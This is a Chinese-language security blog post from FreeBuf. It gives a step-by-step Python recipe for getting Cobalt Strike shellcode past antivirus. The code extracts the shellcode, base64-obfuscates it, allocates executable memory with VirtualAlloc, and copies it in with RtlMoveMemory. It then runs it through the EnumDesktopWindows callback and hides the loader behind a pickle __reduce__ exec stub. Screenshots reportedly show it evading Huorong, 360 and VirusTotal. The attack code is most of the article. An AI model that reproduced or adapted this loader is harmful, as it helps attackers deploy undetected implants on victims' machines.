freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

python简单免杀shellcode上线cs
NoObject 2021-04-25 07:59:12 252829

本文讲的是如何通过对cs生成的shellcode进行处理,从而简单的绕过免杀。

代码如下

loader.png2.png

取出shellcode内容

先对cs生成的payload.py进行处理,提取出相关的shellcode代码

shellcode = open('payload.py')
shellcode = shellcode.read()
# 取出shellcode内容
s1 = shellcode.find("\"")+1
s2 = shellcode.rfind("\"")
shellcode =  shellcode[s1:s2]

base64加密

对shellcode进行base64加密进行混淆

shellcode = str(base64.b64encode(shellcode.encode('UTF-8')), 'UTF-8')

构造shellcode加载器

对shellcode进行base64解密

shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)

设置VirtualAlloc返回类型为ctypes.c_unit64

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

调用VirtualAlloc函数,来申请一块动态内存区域

VirtualAlloc函数原型和参数如下:
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect     #该内存的初始保护属性
};
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

将shellcode载入内存

从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)

回调函数注入shellcode

回调.png

回调函数是一个被作为参数传递的函数

机制

⑴定义一个回调函数;

⑵提供函数实现的一方在初始化的时候,将回调函数的函数指针注册给调用者;

⑶当特定的事件或条件发生的时候,调用者使用函数指针调用回调函数对事件进行处理。

当我们向需要回调函数的参数传递一个函数指针时,一旦函数指针被用来调用这个函数,它指向的是回调被执行了。这可以被滥用来注入 shellcode 而不是函数指针。

windows下可以利用的回调函数有很多,本文用的是EnumDesktopWindows这个函数

EnumDesktopWindows 枚举与指定桌面关联的所有顶级窗口,然后将每个窗口句柄传递给给应用程序定义的回调函数。

BOOL EnumDesktopWindows(  HDESK       hDesktop,  WNDENUMPROC lpfn,  LPARAM      lParam);
参数
hDesktop
要枚举其顶级窗口的桌面的句柄。该句柄由 CreateDesktop, GetThreadDesktop,OpenDesktop或 OpenInputDesktop函数返回,并且必须具有DESKTOP_READOBJECTS访问权限。如果此参数为NULL,则使用当前桌面。
lpfn
指向应用程序定义的EnumWindowsProc回调函数的指针 。
lParam
应用程序自定义的值,将传递给回调函数。

第二个参数是回调函数的指针,这样就可以传递与位置无关的 shellcode。

反序列化加载

先对loader进行序列化,在对序列化的代码进行base64加密

class A(object):
    def __reduce__(self):
        return (exec, (code,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)

最后反序列化加载loader

strinq=b'cGlja2xlLmxvYWRzKGJhc2U2NC5iNjRkZWNvZGUoY29kZSkp'
eval(str(base64.b64decode(strinq),'utf-8'))

通过__reduce__这个魔术方法执行了loader

def __reduce__(self):
        return (exec, (code,))

就可以成功绕过杀软,上线cs了

通过pyinstaller生成exe,进行测试

火绒
huorongexe.png360杀毒
360sdexe.png360安全卫士
执行360.pngvt查杀
vt.png

# 渗透测试 # python # 免杀
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 NoObject 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
NoObject LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录